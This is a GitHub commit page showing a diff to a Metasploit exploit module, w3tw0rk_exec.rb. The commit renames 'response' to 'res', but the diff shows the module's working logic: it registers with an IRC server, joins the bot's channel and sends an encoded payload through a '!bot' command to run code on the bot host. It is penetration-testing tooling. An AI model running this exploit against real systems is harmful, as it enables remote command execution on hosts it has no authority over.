Skip to content

Commit 2f8dc7f

Browse files
committed
Update w3tw0rk_exec.rb
changed response to res
1 parent ff868f9 commit 2f8dc7f

File tree

1 file changed

+15
-15
lines changed

1 file changed

+15
-15
lines changed

modules/exploits/multi/misc/w3tw0rk_exec.rb

Lines changed: 15 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -58,22 +58,22 @@ def initialize(info = {})
5858
def check
5959
connect
6060

61-
response = register(sock)
62-
if response =~ /463/ or response =~ /464/
61+
res = register(sock)
62+
if res =~ /463/ or res =~ /464/
6363
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
6464
return Exploit::CheckCode::Unknown
6565
end
6666

67-
response = join(sock)
68-
if not response =~ /353/ and not response =~ /366/
67+
res = join(sock)
68+
if not res =~ /353/ and not res =~ /366/
6969
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
7070
return Exploit::CheckCode::Unknown
7171
end
7272

7373
quit(sock)
7474
disconnect
7575

76-
if response =~ /auth/ and response =~ /logged in/
76+
if res =~ /auth/ and res =~ /logged in/
7777
return Exploit::CheckCode::Vulnerable
7878
else
7979
return Exploit::CheckCode::Safe
@@ -113,21 +113,21 @@ def register(sock)
113113
msg << "NICK #{nick}\r\n"
114114
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
115115

116-
response = send_msg(sock,msg)
117-
return response
116+
res = send_msg(sock,msg)
117+
return res
118118
end
119119

120120
def join(sock)
121121
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
122-
response = send_msg(sock, join_msg)
123-
return response
122+
res = send_msg(sock, join_msg)
123+
return res
124124
end
125125

126126
def w3tw0rk_command(sock)
127127
encoded = payload.encoded
128128
command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
129-
response = send_msg(sock, command_msg)
130-
return response
129+
res = send_msg(sock, command_msg)
130+
return res
131131
end
132132

133133
def quit(sock)
@@ -139,15 +139,15 @@ def exploit
139139
connect
140140

141141
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
142-
response = register(sock)
143-
if response =~ /463/ or response =~ /464/
142+
res = register(sock)
143+
if res =~ /463/ or res =~ /464/
144144
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
145145
return
146146
end
147147

148148
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
149-
response = join(sock)
150-
if not response =~ /353/ and not response =~ /366/
149+
res = join(sock)
150+
if not res =~ /353/ and not res =~ /366/
151151
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
152152
return
153153
end

0 commit comments

Comments
 (0)